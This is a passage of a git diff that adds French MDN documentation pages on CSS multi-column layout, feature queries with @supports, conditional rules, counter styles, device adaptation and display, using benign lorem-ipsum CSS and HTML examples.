+<p>{{EmbedGHLiveSample("css-examples/multicol/balancing/balance.html", '100%', 550)}}</p>
+
+<p><code>auto</code> est une autre valeur qui peut être utilisée avec <code>column-fill</code>. Avec cette valeur, plutôt que d'équilibrer les colonnes, celles-ci sont remplies les unes après les autres. Dans ce dernier exemple, on a modifié <code>column-fill</code> pour utiliser <code>auto</code> et les colonnes sont désormais remplies dans l'ordre en suivant la hauteur du conteneur multi-colonnes. On a ainsi quelques colonnes vides à la fin.</p>
+
+<p>{{EmbedGHLiveSample("css-examples/multicol/balancing/auto.html", '100%', 550)}}</p>
+
+<p>On notera que l'équilibrage des colonnes n'est pas pris en charge de façon homogène par les navigateurs. Aussi, si vous l'utilisez, vérifiez vos résultats dans les différents navigateurs pour contrôler l'effet obtenu. Vous pouvez aussi consulter les tableaux de compatibilité des navigateurs à la fin des pages de chacune des propriétés.</p>
+
+<p>Dans le prochain guide, nous verrons <a href="/en-US/docs/Web/CSS/CSS_Columns/Handling_Overflow_in_Multicol">comment gérer le dépassement au sein d'un conteneur multi-colonnes</a>, à l'intérieur des colonnes et lorsqu'il y a plus de contenu que le conteneur peut en avoir.</p>
diff --git a/files/fr/web/css/css_columns/utiliser_une_disposition_multi-colonnes/index.html b/files/fr/web/css/css_columns/utiliser_une_disposition_multi-colonnes/index.html
new file mode 100644
index 0000000000..897ac5c989
--- /dev/null
+++ b/files/fr/web/css/css_columns/utiliser_une_disposition_multi-colonnes/index.html
@@ -0,0 +1,201 @@
+---
+title: Utiliser une disposition multi-colonnes
+slug: Web/CSS/CSS_Columns/Utiliser_une_disposition_multi-colonnes
+tags:
+  - Avancé
+  - CSS
+  - Guide
+translation_of: Web/CSS/CSS_Columns/Using_multi-column_layouts
+---
+<div>{{CSSRef}}</div>
+
+<p>La <strong>disposition multi-colonnes</strong> étend <em>le mode de disposition en bloc</em> et permet de définir simplement plusieurs colonnes de texte. Lorsqu'on lit un texte, si les lignes sont trop longues, il faudra trop de temps aux yeux pour revenir au début de la ligne et passer à la ligne suivante : on perdra alors la ligne sur laquelle on était. Ainsi, pour utiliser efficacement l'espace fourni par un grand écran, on préfèrera utiliser des colonnes de largeur fixe, disposée côte à côte, à la façon d'un journal.</p>
+
+<h2 id="Utiliser_les_colonnes_CSS">Utiliser les colonnes CSS</h2>
+
+<h3 id="Le_nombre_de_colonnes_et_leur_largeur">Le nombre de colonnes et leur largeur</h3>
+
+<p>Deux propriétés CSS permettent de définir quand et comment les colonnes apparaissent : {{cssxref("column-count")}} et {{cssxref("column-width")}}.</p>
+
+<p>On utilisera la propriété <code>column-count</code> pour définir le nombre de colonnes qu'on souhaite avoir.</p>
+
+<h4 id="Utilisation_de_column-count">Utilisation de <code>column-count</code></h4>
+
+<h5 id="CSS">CSS</h5>
+
+<pre class="brush: css">#col {
+  column-count: 2;
+}
+</pre>
+
+<h5 id="HTML">HTML</h5>
+
+<div id="column_count">
+<pre class="brush: html">&lt;div id="col"&gt;
+  &lt;p&gt;
+    Lorem ipsum dolor sit amet, consectetur adipisicing elit,
+    sed do eiusmod tempor incididunt ut labore et dolore magna
+    aliqua.
+  &lt;/p&gt;
+  &lt;p&gt;
+    Ut enim ad minim veniam, quis nostrud exercitation ullamco
+    laboris nisi ut aliquip ex ea commodo consequat.
+  &lt;/p&gt;
+  &lt;p&gt;
+    Duis aute irure dolor in reprehenderit in voluptate velit
+    esse cillum dolore eu fugiat nulla pariatur.
+  &lt;/p&gt;
+  &lt;p&gt;
+    Excepteur sint occaecat cupidatat non proident, sunt in
+    culpa qui officia deserunt mollit anim id est laborum.
+  &lt;/p&gt;
+&lt;/div&gt;
+</pre>
+</div>
+
+<h5 id="Résultat">Résultat</h5>
+
+<p>{{EmbedLiveSample('Utilisation_de_column-count','100%')}}</p>
+
+<p>Si on utilise un navigateur qui permet d'utiliser ce module CSS, on aura un contenu affiché sur 2 colonnes.</p>
+
+<p>La propriété <code>column-width</code> permet quant à elle de définir la largeur minimale d'une colonne. Si la propriété <code>column-count</code> n'est pas utilisée, le navigateur créera automatiquement autant de colonnes que le permet la largeur disponible.</p>
+
+<h4 id="Utilisation_de_column-width">Utilisation de <code>column-width</code></h4>
+
+<h5 id="CSS_2">CSS</h5>
+
+<div id="column_width">
+<pre class="brush: css">#wid {
+  column-width: 100px;
+}
+</pre>
+</div>
+
+<h5 id="HTML_2">HTML</h5>
+
+<div id="column_count">
+<pre class="brush: html">&lt;div id="wid"&gt;
+  Lorem ipsum dolor sit amet, consectetur adipisicing elit,
+  sed do eiusmod tempor incididunt ut labore et dolore magna
+  aliqua. Ut enim ad minim veniam, quis nostrud exercitation
+  ullamco laboris nisi ut aliquip ex ea commodo consequat.
+  Duis aute irure dolor in reprehenderit in voluptate velit
+  esse cillum dolore eu fugiat nulla pariatur. Excepteur sint
+  occaecat cupidatat non proident, sunt in culpa qui officia
+  deserunt mollit anim id est laborum
+&lt;/div&gt;
+</pre>
+</div>
+
+<h5 id="Résultat_2">Résultat</h5>
+
+<p>{{EmbedLiveSample('Utilisation_de_column-width','100%')}}</p>
+
+<p>En utilisant une disposition multi-colonnes, le contenu est automatiquement réparti entre les colonnes.</p>
+
+<h4 id="La_propriété_raccourcie_columns">La propriété raccourcie <code>columns</code></h4>
+
+<p>La plupart du temps, on souhaitera utiliser l'une de ces deux propriétés ({{cssxref("column-count")}} ou {{cssxref("column-width")}}). Comme les valeurs de ces deux propriétés ne se « chevauchent » pas, on pourra utiliser la propriété raccourcie {{cssxref("columns")}} qui synthétisent ces deux propriétés.</p>
+
+<p>Ainsi, la déclaration <code>column-width:12em</code> pourra être remplacée de la façon suivante :</p>
+
+<h5 id="CSS_3">CSS</h5>
+
+<div id="column_short">
+<pre class="brush: css">#col_short {
+  columns: 12em;
+}
+</pre>
+</div>
+
+<h5 id="HTML_3">HTML</h5>
+
+<div id="column_count">
+<pre class="brush: html">&lt;div id="col_short"&gt;
+  Lorem ipsum dolor sit amet, consectetur adipisicing elit,
+  sed do eiusmod tempor incididunt ut labore et dolore magna
+  aliqua. Ut enim ad minim veniam, quis nostrud exercitation
+  ullamco laboris nisi ut aliquip ex ea commodo consequat.
+  Duis aute irure dolor in reprehenderit in voluptate velit
+  esse cillum dolore eu fugiat nulla pariatur. Excepteur sint
+  occaecat cupidatat non proident, sunt in culpa qui officia
+  deserunt mollit anim id est laborum
+&lt;/div&gt;
+</pre>
+</div>
+
+<h5 id="Résultat_3">Résultat</h5>
+
+<p>{{EmbedLiveSample('La_propriété_raccourcie_columns','100%')}}</p>
+
+<p>De même, on pourra remplacer la déclaration <code>column-count: 4</code> avec ce bloc :</p>
+
+<div id="4_columns">
+<pre class="brush: css">#columns_4{
+  columns: 4;
+}
+</pre>
+</div>
+
+<p>Enfin, pour synthétiser les instructions <code>column-width:8em</code> et <code>column-count:12</code>, on pourra utiliser les instructions suivantes :</p>
+
+<div id="12_columns">
+<pre class="brush: css">#columns_12 {
+  columns: 12 8em;
+}
+</pre>
+</div>
+
+<h3 id="Équilibrage_de_la_hauteur">Équilibrage de la hauteur</h3>
+
+<p>La spécification CSS pour ce module indique que la hauteur des colonnes doit être équilibrée. Autrement dit, le navigateur doit définir la hauteur des différentes colonnes afin que la hauteur du contenu dans chaque colonne soit environ égale.</p>
+
+<p>Toutefois, dans certaines situations, on veut pouvoir définir la hauteur maximale des colonnes de façon explicite. Ainsi, lorsque la hauteur est contrainte, on peut utiliser les propriétés {{cssxref("height")}} ou {{cssxref("max-height")}} afin que chaque colonne mesure au plus la taille indiquée avant qu'une nouvelle colonne soit créée.</p>
+
+<h3 id="L'espacement_entre_les_colonnes">L'espacement entre les colonnes</h3>
+
+<p>Entre chaque colonne, on aura un espace horizontal. La valeur recommandée (et souvent utilisée par défaut) est <code>1em</code>. Cette taille peut être ajustée si nécessaire en utilisant la propriété {{cssxref("column-gap")}} sur le bloc découpé en colonnes.</p>
+
+<h4 id="Utilisation_de_column-gap">Utilisation de <code>column-gap</code></h4>
+
+<h5 id="CSS_4">CSS</h5>
+
+<pre class="brush: css">#column_gap {
+  column-count: 5;
+  column-gap: 2em;
+}</pre>
+
+<h5 id="HTML_4">HTML</h5>
+
+<div id="col_gap">
+<pre class="brush: html">&lt;div id="column_gap"&gt;
+  Lorem ipsum dolor sit amet, consectetur adipisicing elit,
+  sed do eiusmod tempor incididunt ut labore et dolore magna
+  aliqua. Ut enim ad minim veniam, quis nostrud exercitation
+  ullamco laboris nisi ut aliquip ex ea commodo consequat.
+  Duis aute irure dolor in reprehenderit in voluptate velit
+  esse cillum dolore eu fugiat nulla pariatur. Excepteur sint
+  occaecat cupidatat non proident, sunt in culpa qui officia
+  deserunt mollit anim id est laborum
+&lt;/div&gt;
+</pre>
+</div>
+
+<h5 id="Résultat_4">Résultat</h5>
+
+<p>{{EmbedLiveSample('Utilisation_de_column-gap','100%')}}</p>
+
+<h2 id="Amélioration_progressive">Amélioration progressive</h2>
+
+<p>Les propriétés liées à la disposition multi-colonnes seront simplement ignorées par les navigateurs qui ne prennent pas en charge cette fonctionnalité. On peut donc simplement créer une disposition qui n'utilisera qu'une colonne pour les anciens navigateurs et qui tirera parti de cette fonctionnalité dans les navigateurs plus récents.</p>
+
+<h2 id="Conclusion">Conclusion</h2>
+
+<p>Les colonnes CSS permettent aux développeurs web de mieux utiliser l'espace disponible à l'écran. Avec un peu d'imagination et en connaissant cette fonctionnalité d'équilibrage vertical automatique, on peut trouver de nombreux usages pour cette fonctionnalité.</p>
+
+<h2 id="Voir_aussi">Voir aussi</h2>
+
+<ul>
+ <li><a class="external" href="https://weblogs.mozillazine.org/roc/archives/2005/03/gecko_18_for_we.html" rel="freelink">https://weblogs.mozillazine.org/roc/a...18_for_we.html</a></li>
+</ul>
diff --git a/files/fr/web/css/css_conditional_rules/index.html b/files/fr/web/css/css_conditional_rules/index.html
new file mode 100644
index 0000000000..2c42f2f816
--- /dev/null
+++ b/files/fr/web/css/css_conditional_rules/index.html
@@ -0,0 +1,71 @@
+---
+title: CSS Conditional Rules
+slug: Web/CSS/CSS_Conditional_Rules
+tags:
+  - Aperçu
+  - CSS
+  - CSS Conditional Rules
+  - Reference
+translation_of: Web/CSS/CSS_Conditional_Rules
+---
+<div>{{CSSRef}}</div>
+
+<p><em><strong>CSS Conditional Rules</strong></em> (ou règles conditionnelles CSS) est un module CSS qui permet de définir un ensemble de règles qui ne s'appliqueront qu'en fonction des capacités du processeur ou du document auquel la feuille de styles est appliquée.</p>
+
+<h2 id="Référence">Référence</h2>
+
+<h3 id="Règles">Règles @</h3>
+
+<div class="index">
+<ul>
+ <li>{{cssxref("@document")}}</li>
+ <li>{{cssxref("@media")}}</li>
+ <li>{{cssxref("@supports")}}</li>
+ <li>{{cssxref("@import")}}</li>
+</ul>
+</div>
+
+<h2 id="Spécifications">Spécifications</h2>
+
+<table class="standard-table">
+ <thead>
+  <tr>
+   <th scope="col">Spécification</th>
+   <th scope="col">État</th>
+   <th scope="col">Commentaires</th>
+  </tr>
+ </thead>
+ <tbody>
+  <tr>
+   <td>{{SpecName('CSS3 Conditional')}}</td>
+   <td>{{Spec2('CSS3 Conditional')}}</td>
+   <td>Définition initiale.</td>
+  </tr>
+ </tbody>
+</table>
+
+<h2 id="Compatibilité_des_navigateurs">Compatibilité des navigateurs</h2>
+
+<h3 id="document"><code>@document</code></h3>
+
+<div class="hidden">Le tableau de compatibilité de cette page a été généré à partir de données structurées. Si vous souhaitez contribuer à ces données, n'hésitez pas à consulter <a href="https://github.com/mdn/browser-compat-data">https://github.com/mdn/browser-compat-data</a> et à nous envoyer une <em>pull request</em>.</div>
+
+<p>{{Compat("css.at-rules.document")}}</p>
+
+<h3 id="import"><code>@import</code></h3>
+
+<div class="hidden">Le tableau de compatibilité de cette page a été généré à partir de données structurées. Si vous souhaitez contribuer à ces données, n'hésitez pas à consulter <a href="https://github.com/mdn/browser-compat-data">https://github.com/mdn/browser-compat-data</a> et à nous envoyer une <em>pull request</em>.</div>
+
+<p>{{Compat("css.at-rules.import")}}</p>
+
+<h3 id="media"><code>@media</code></h3>
+
+<div class="hidden">Le tableau de compatibilité de cette page a été généré à partir de données structurées. Si vous souhaitez contribuer à ces données, n'hésitez pas à consulter <a href="https://github.com/mdn/browser-compat-data">https://github.com/mdn/browser-compat-data</a> et à nous envoyer une <em>pull request</em>.</div>
+
+<p>{{Compat("css.at-rules.media")}}</p>
+
+<h3 id="supports"><code>@supports</code></h3>
+
+<div class="hidden">Le tableau de compatibilité de cette page a été généré à partir de données structurées. Si vous souhaitez contribuer à ces données, n'hésitez pas à consulter <a href="https://github.com/mdn/browser-compat-data">https://github.com/mdn/browser-compat-data</a> et à nous envoyer une <em>pull request</em>.</div>
+
+<p>{{Compat("css.at-rules.supports")}}</p>
diff --git a/files/fr/web/css/css_conditional_rules/utiliser_requêtes_fonctionnalité_(feature_queries)/index.html b/files/fr/web/css/css_conditional_rules/utiliser_requêtes_fonctionnalité_(feature_queries)/index.html
new file mode 100644
index 0000000000..811f5c4b22
--- /dev/null
+++ b/files/fr/web/css/css_conditional_rules/utiliser_requêtes_fonctionnalité_(feature_queries)/index.html
@@ -0,0 +1,112 @@
+---
+title: Utiliser les requêtes de fonctionnalité (feature queries)
+slug: >-
+  Web/CSS/CSS_Conditional_Rules/Utiliser_requêtes_fonctionnalité_(feature_queries)
+tags:
+  - Amélioration progressive
+  - CSS
+  - Guide
+translation_of: Web/CSS/CSS_Conditional_Rules/Using_Feature_Queries
+---
+<div>{{CSSRef}}</div>
+
+<p><strong>Les requêtes de fonctionnalité (ou <em>feature queries</em>)</strong> sont créées à l'aide de la règle <code><a href="/fr/docs/Web/CSS/@supports">@supports</a></code> et permettent aux développeurs web de tester la prise en charge d'une fonctionnalité donnée par le navigateur puis de fournir le code CSS qui sera appliqué selon le résultat de ce test. Dans ce guide, nous verrons comment gérer l'amélioration progressive grâce à l'aide des requêtes de fonctionnalité.</p>
+
+<h2 id="Syntaxe">Syntaxe</h2>
+
+<p>Les requêtes de fonctionnalité CSS s'inscrivent dans <a href="https://drafts.csswg.org/css-conditional-3/">le module de spécification CSS Conditional Rules</a> qui décrit également le fonctionnement de la règle <code><a href="/fr/docs/Web/CSS/@media">@media</a></code>. Vous pourrez ici voir que les requêtes de fonctionnalité fonctionnent de façon semblable aux requêtes de média. Pour les requêtes de média, on teste une caractéristique de l'environnement dans lequel la page web est affichée/exécutée tandis que pour les requêtes de fonctionnalité, on teste la prise en charge d'une fonctionnalité CSS dans le navigateur.</p>
+
+<p>Une requête de fonctionnalité commence par une règle <code>@supports</code>, suivi du nom de la propriété et de la valeur qu'on souhaite tester. Il n'est pas possible de tester une propriété seule (ex. <code>display</code>) mais uniquement un couple nom/valeur :</p>
+
+<pre class="brush: css">@supports (<em>propriété</em>: <em>valeur</em>) {
+  <em>Règles CSS à appliquer</em>
+}</pre>
+
+<p>Si, par exemple, on souhaite vérifier qu'un navigateur prend en charge la propriété <code>row-gap</code>, on écrira la requête suivant. Dans la plupart des cas, peu importe la valeur utilisée avec cette propriété, on souhaite simplement la prise en charge de cette propriété et on peut donc utiliser n'importe quelle valeur valide pour ça.</p>
+
+<p>{{EmbedGHLiveSample("css-examples/feature-queries/simple.html", '100%', 600)}}</p>
+
+<p>La partie dédiée à la valeur de la propriété permet de tester les cas où une nouvelle valeur est spécifiée pour une propriété donnée. Le cas de <code>display</code> est particulièrement intéressant. Tous les navigateurs prennent en charge <code>display</code> (<code>display: block</code> faisait partie de CSS1) mais les valeurs <code>display: flex</code> et <code>display: grid</code> ont été ajoutées plus récemment. Les propriétés CSS peuvent parfois se voir doter de nouvelles valeurs et on peut alors tester leur prise en charge avec <code>@supports</code>.</p>
+
+<h2 id="Tester_labsence_de_prise_en_charge_dune_fonctionnalité">Tester l'absence de prise en charge d'une fonctionnalité</h2>
+
+<p>Il est aussi possible de tester l'absence de prise en charge d'une fonctionnalité en ajoutant le mot-clé <code>not</code> :</p>
+
+<pre class="brush: css">@supports not (<em>propriété</em>: <em>valeur</em>) {
+  <em>Règles CSS à appliquer</em>
+}</pre>
+
+<p>Les règles CSS contenues dans la requête suivante seront uniquement appliquées lorsque le navigateur ne prend pas en charge <code>row-gap</code>.</p>
+
+<p>{{EmbedGHLiveSample("css-examples/feature-queries/not.html", '100%', 600)}}</p>
+
+<h2 id="Tester_la_prise_en_charge_de_plusieurs_fonctionnalités">Tester la prise en charge de plusieurs fonctionnalités</h2>
+
+<p>Si on souhaite tester la prise en charge de plusieurs fonctionnalités en même temps, on pourra les combiner avec le mot-clé <code>and</code> :</p>
+
+<pre class="brush: css">@supports (<em>property1</em>: <em>value</em>) and (<em>property</em>2: <em>value</em>) {
+<em>  CSS rules to apply</em>
+}</pre>
+
+<p>On peut, par exemple, vérifier que le navigateur prend en charge les formes (<em>shapes</em>) et grilles CSS grâce à une règle qui teste cette conjonction. La règle suivante renverra <code>true</code> uniquement si <code>shape-outside: circle()</code> et <code>display: grid</code> sont pris en charge par le navigateur.</p>
+
+<p>{{EmbedGHLiveSample("css-examples/feature-queries/and.html", '100%', 600)}}</p>
+
+<p>De la même façon, on peut utiliser le mot-clé <code>or</code> si on souhaite tester la prise en charge d'au moins une fonctionnalité :</p>
+
+<pre class="brush: css">@supports (<em>property1</em>: <em>value</em>) or (<em>property</em>2: <em>value</em>) {<em>
+  CSS rules to apply</em>
+}</pre>
+
+<p>Cela peut s'avérer particulièrement utile lorsqu'un préfixe est présent dans le nom d'une propriété (on peut alors tester la prise en charge de la propriété standard et des versions préfixées).</p>
+
+<p>{{EmbedGHLiveSample("css-examples/feature-queries/or.html", '100%', 600)}}</p>
+
+<h2 id="Limites_des_requêtes_de_fonctionnalité">Limites des requêtes de fonctionnalité</h2>
+
+<p>Une règle <code>@supports</code> ne permet de vérifier qu'un navigateur peut interpréter une ou plusieurs paires de propriétés/valeurs. Si cette paire est comprise par le navigateur, celui-ci renverra une réponse positive. Une telle requête ne permet pas d'indiquer que la fonctionnalité est complètement prise en charge, sans bug…</p>
+
+<p>De plus, de telles requêtes ne permettent pas de tester une <em>implémentation partielle</em>. Prenons l'exemple de la propriété <code>gap</code>, à l'heure actuelle (novembre 2019) : tous les navigateurs prennent en charge <code>gap</code> avec les grilles CSS et seul Firefox prend en charge <code>gap</code> avec les boîtes flexibles (<em>flexbox</em>). Si on teste la propriété <code>gap</code> car on souhaite l'utiliser avec les boîtes flexibles, on recevra une réponse positive bien que ce ne soit pas implémenté.</p>
+
+<h2 id="Comment_utiliser_supports_pour_lamélioration_progressive">Comment utiliser <code>@supports</code> pour l'amélioration progressive ?</h2>
+
+<p>Les requêtes de fonctionnalité sont un outil précieux pour améliorer un site de façon progressive. Elles permettent de fournir une solution fonctionnelle pour tous les navigateurs et d'améliorer le résultat pour les navigateurs qui prennent en charge de nouvelles fonctionnalités.</p>
+
+<p>Toutefois, il existe des navigateurs pour lesquels même les requêtes de fonctionnalité/<code>@supports</code> ne sont pas pris en charge. Ainsi, si on souhaite utiliser les grilles CSS (qui ne sont pas prises en charge par IE11), on ne peut pas tester leur prise en charge dans IE11 car ce dernier ne permet pas d'utiliser <code>@supports</code>. En pratique, cela ne devrait pas poser de problème : le code CSS principal est destiné aux navigateurs les plus anciens et on ajoute le CSS plus récent dans les requêtes de fonctionnalité.</p>
+
+<p>Prenons un exemple plus construit.</p>
+
+<p>Imaginons qu'on veuille créer une disposition avec trois boîtes qui se suivent sur une ligne. Idéalement, on voudrait utiliser <a href="/fr/docs/Web/CSS/CSS_Grid_Layout">les grilles CSS</a>. Toutefois, on voudrait aussi une disposition qui fonctionne pour les navigateurs plus anciens avec des éléments flottants. Pour commencer, on crée la disposition flottante avec le code suivante (on a alors trois colonnes).</p>
+
+<p>{{EmbedGHLiveSample("css-examples/feature-queries/step1.html", '100%', 900)}}</p>
+
+<p>Lorsque les navigateurs ne comprennent pas une propriété ou une valeur CSS, ils l'ignorent. On peut donc améliorer progressivement notre disposition avec les grilles CSS. Les navigateurs qui ne prennent pas en charge les grilles ignoreront la valeur <code>grid</code> pour la propriété <code>display</code>. Une fois qu'un objet flottant devient un élément de grille, son caractère flottant est retiré (voir <a href="/fr/docs/Learn/CSS/CSS_layout/Supporting_Older_Browsers">Prendre en charge les navigateurs plus anciens</a>) et la grille écrase alors la version flottante.</p>
+
+<p>Un problème persiste cependant. La propriété <code>width</code>, utilisée par les objets flottants pour afficher trois colonnes, est désormais interprétée par la grille comme étant la largeur de la piste pour la colonne (et pas la largeur du conteneur comme c'était le cas pour la disposition flottante).</p>
+
+<p>{{EmbedGHLiveSample("css-examples/feature-queries/step2.html", '100%', 900)}}</p>
+
+<p>Il faut une façon de retirer la largeur si <code>display: grid</code> est pris en charge. C'est là que les requêtes de fonctionnalité montrent leur force. On peut réinitialiser <code>width</code> avec la valeur <code>auto</code> si les grilles sont prises en charge.</p>
+
+<p>{{EmbedGHLiveSample("css-examples/feature-queries/step3.html", '100%', 900)}}</p>
+
+<p>Dans le scénario précédent, peu importe que IE11 ne prenne pas en charge les requêtes de fonctionnalité ou les grilles CSS : c'est la version flottante qui sera utilisée dans tous les cas où le navigateur ne prend pas en charge les grilles.</p>
+
+<p>Une autre façon d'écrire cette solution consiste à grouper le code utilisant la grille dans une même requête de fonctionnalité.</p>
+
+<p>{{EmbedGHLiveSample("css-examples/feature-queries/step4.html", '100%', 900)}}</p>
+
+<p>De cette façon, on a un peu plus de code mais on peut alors tester le fonctionnement par défaut en changeant simplement le nom de la valeur. Dans l'exemple qui suit, vous pouvez ainsi alterner entre les deux solutions en changeant <code>display: grid</code> en <code>display: grip</code> (une valeur invalide et donc non prise en charge).</p>
+
+<h2 id="Résumé">Résumé</h2>
+
+<p>Les requêtes de fonctionnalité permettent d'utiliser des fonctionnalités récentes dans l'amélioration progressive de sites fonctionnels avec les anciens navigateurs. En destinant le code CSS aux navigateurs qui le prennent en charge, on ne risque pas d'interférences avec la disposition de base (comme nous avons pu le voir avec l'exemple précédent sur les grilles CSS).</p>
+
+<h2 id="Voir_aussi">Voir aussi</h2>
+
+<ul>
+ <li>La règle <a href="/fr/docs/Web/CSS/@supports">@supports</a></li>
+ <li><a href="/fr/docs/Learn/CSS/CSS_layout/Supporting_Older_Browsers">Apprendre les dispositions en CSS et la prise en charge des anciens navigateurs</a></li>
+ <li><a href="/fr/docs/Web/CSS/CSS_Grid_Layout/Les_grilles_CSS_et_l_amélioration_progressive">Les grilles CSS et l'amélioration progressive</a></li>
+ <li><a href="https://hacks.mozilla.org/2016/08/using-feature-queries-in-css/">Utiliser les requêtes de fonctionnalités en CSS (billet du blog Hacks en anglais)</a></li>
+</ul>
diff --git a/files/fr/web/css/css_counter_styles/index.html b/files/fr/web/css/css_counter_styles/index.html
new file mode 100644
index 0000000000..b8e1d2eca2
--- /dev/null
+++ b/files/fr/web/css/css_counter_styles/index.html
@@ -0,0 +1,91 @@
+---
+title: CSS Counter Styles
+slug: Web/CSS/CSS_Counter_Styles
+tags:
+  - Aperçu
+  - CSS
+  - CSS Counter Styles
+  - Reference
+translation_of: Web/CSS/CSS_Counter_Styles
+---
+<div>{{cssref}}</div>
+
+<p><em><strong>CSS Counter Styles</strong></em> est un module CSS qui permet de définir ses propres styles pour les compteurs utilisés dans les listes numérotées.</p>
+
+<h2 id="Référence">Référence</h2>
+
+<h3 id="Propriétés">Propriétés</h3>
+
+<div class="index">
+<ul>
+ <li>{{cssxref("counter-increment")}}</li>
+ <li>{{cssxref("counter-reset")}}</li>
+</ul>
+</div>
+
+<h3 id="Règles">Règles @</h3>
+
+<dl>
+ <dt>{{cssxref("@counter-style")}}</dt>
+ <dd>
+ <div class="index">
+ <ul>
+  <li>{{cssxref("@counter-style/system","system")}}</li>
+  <li>{{cssxref("@counter-style/additive-symbols", "additive-symbols")}}</li>
+  <li>{{cssxref("@counter-style/negative", "negative")}}</li>
+  <li>{{cssxref("@counter-style/prefix", "prefix")}}</li>
+  <li>{{cssxref("@counter-style/suffix", "suffix")}}</li>
+  <li>{{cssxref("@counter-style/range", "range")}}</li>
+  <li>{{cssxref("@counter-style/pad", "pad")}}</li>
+  <li>{{cssxref("@counter-style/speak-as", "speak-as")}}</li>
+  <li>{{cssxref("@counter-style/fallback", "fallback")}}</li>
+ </ul>
+ </div>
+ </dd>
+</dl>
+
+<h2 id="Guides">Guides</h2>
+
+<dl>
+ <dt><a href="/fr/docs/Web/CSS/Compteurs_CSS">Manipuler les compteurs CSS</a></dt>
+ <dd>Cet article décrit comment utiliser les compteurs CSS afin de numéroter des éléments HTML et de réaliser des comptages complexes.</dd>
+</dl>
+
+<h2 id="Spécifications">Spécifications</h2>
+
+<table class="standard-table">
+ <thead>
+  <tr>
+   <th scope="col">Spécification</th>
+   <th scope="col">État</th>
+   <th scope="col">Commentaires</th>
+  </tr>
+ </thead>
+ <tbody>
+  <tr>
+   <td>{{SpecName('CSS3 Counter Styles')}}</td>
+   <td>{{Spec2('CSS3 Counter Styles')}}</td>
+   <td>Définition initiale.</td>
+  </tr>
+ </tbody>
+</table>
+
+<h2 id="Compatibilité_des_navigateurs">Compatibilité des navigateurs</h2>
+
+<h3 id="counter-style"><code>@counter-style</code></h3>
+
+<div class="hidden">Le tableau de compatibilité de cette page a été généré à partir de données structurées. Si vous souhaitez contribuer à ces données, n'hésitez pas à consulter <a href="https://github.com/mdn/browser-compat-data">https://github.com/mdn/browser-compat-data</a> et à nous envoyer une <em>pull request</em>.</div>
+
+<p>{{Compat("css.at-rules.counter-style")}}</p>
+
+<h3 id="counter-increment"><code>counter-increment</code></h3>
+
+<div class="hidden">Le tableau de compatibilité de cette page a été généré à partir de données structurées. Si vous souhaitez contribuer à ces données, n'hésitez pas à consulter <a href="https://github.com/mdn/browser-compat-data">https://github.com/mdn/browser-compat-data</a> et à nous envoyer une <em>pull request</em>.</div>
+
+<p>{{Compat("css.properties.counter-increment")}}</p>
+
+<h3 id="counter-reset"><code>counter-reset</code></h3>
+
+<div class="hidden">Le tableau de compatibilité de cette page a été généré à partir de données structurées. Si vous souhaitez contribuer à ces données, n'hésitez pas à consulter <a href="https://github.com/mdn/browser-compat-data">https://github.com/mdn/browser-compat-data</a> et à nous envoyer une <em>pull request</em>.</div>
+
+<p>{{Compat("css.properties.counter-reset")}}</p>
diff --git a/files/fr/web/css/css_device_adaptation/index.html b/files/fr/web/css/css_device_adaptation/index.html
new file mode 100644
index 0000000000..6cc6189902
--- /dev/null
+++ b/files/fr/web/css/css_device_adaptation/index.html
@@ -0,0 +1,48 @@
+---
+title: CSS Device Adaptation
+slug: Web/CSS/CSS_Device_Adaptation
+tags:
+  - CSS
+  - Reference
+translation_of: Web/CSS/CSS_Device_Adaptation
+---
+<div>{{CSSRef}}</div>
+
+<p><strong>CSS Device Adapation</strong> est un module CSS qui permet de définir les dimensions, le facteur d'agrandissement et l'orientation de la zone d'affichage (<em>viewport</em>).</p>
+
+<h2 id="Référence">Référence</h2>
+
+<h3 id="Règles">Règles @</h3>
+
+<div class="index">
+<ul>
+ <li>{{cssxref("@viewport")}}</li>
+</ul>
+</div>
+
+<h2 id="Spécifications">Spécifications</h2>
+
+<table class="standard-table">
+ <thead>
+  <tr>
+   <th scope="col">Spécification</th>
+   <th scope="col">État</th>
+   <th scope="col">Commentaires</th>
+  </tr>
+ </thead>
+ <tbody>
+  <tr>
+   <td>{{SpecName("CSS3 Device")}}</td>
+   <td>{{Spec2("CSS3 Device")}}</td>
+   <td>Définition initiale.</td>
+  </tr>
+ </tbody>
+</table>
+
+<h2 id="Compatibilité_des_navigateurs">Compatibilité des navigateurs</h2>
+
+<h3 id="viewport"><code>@viewport</code></h3>
+
+<div class="hidden">Le tableau de compatibilité de cette page a été généré à partir de données structurées. Si vous souhaitez contribuer à ces données, n'hésitez pas à consulter <a href="https://github.com/mdn/browser-compat-data">https://github.com/mdn/browser-compat-data</a> et à nous envoyer une <em>pull request</em>.</div>
+
+<p>{{Compat("css.at-rules.viewport")}}</p>
diff --git a/files/fr/web/css/css_display/index.html b/files/fr/web/css/css_display/index.html
new file mode 100644
index 0000000000..b8f91c262b
--- /dev/null
+++ b/files/fr/web/css/css_display/index.html
@@ -0,0 +1,115 @@
+---
+title: CSS Display
+slug: Web/CSS/CSS_Display
+tags:
+  - Aperçu
+  - CSS
+  - CSS Display
+  - Reference
+translation_of: Web/CSS/CSS_Display
+---
+<div>{{CSSRef}}</div>
+
+<p><strong>L'affichage CSS</strong> (<em>CSS Display) </em>est un module CSS qui définit la façon dont l'arbre des boîtes pour la mise en forme est généré à partir de l'arbre des éléments du document et qui définit les propriétés qui le contrôlent.</p>
+
+<h2 id="Référence">Référence</h2>
+
+<h3 id="Propriétés_CSS">Propriétés CSS</h3>
+
+<div class="index">
+<ul>
+ <li>{{cssxref("display")}}</li>
+</ul>
+</div>
+
+<h3 id="Types_de_donnée_CSS">Types de donnée CSS</h3>
+
+<div class="index">
+<ul>
+ <li>{{CSSxRef("&lt;display-outside&gt;")}}</li>
+ <li>{{CSSxRef("&lt;display-inside&gt;")}}</li>
+ <li>{{CSSxRef("&lt;display-listitem&gt;")}}</li>
+ <li>{{CSSxRef("&lt;display-box&gt;")}}</li>
+ <li>{{CSSxRef("&lt;display-internal&gt;")}}</li>
+ <li>{{CSSxRef("&lt;display-legacy&gt;")}}</li>
+</ul>
+</div>
+
+<h2 id="Guides">Guides</h2>
+
+<h3 id="Disposition_en_flux_(display_block_display_inline)">Disposition en flux (<code>display: block</code>, <code>display: inline</code>)</h3>
+
+<ul>
+ <li><a href="/fr/docs/Web/CSS/CSS_Flow_Layout/Block_and_Inline_Layout_in_Normal_Flow">Les dispositions de bloc et en ligne dans le flux normal</a></li>
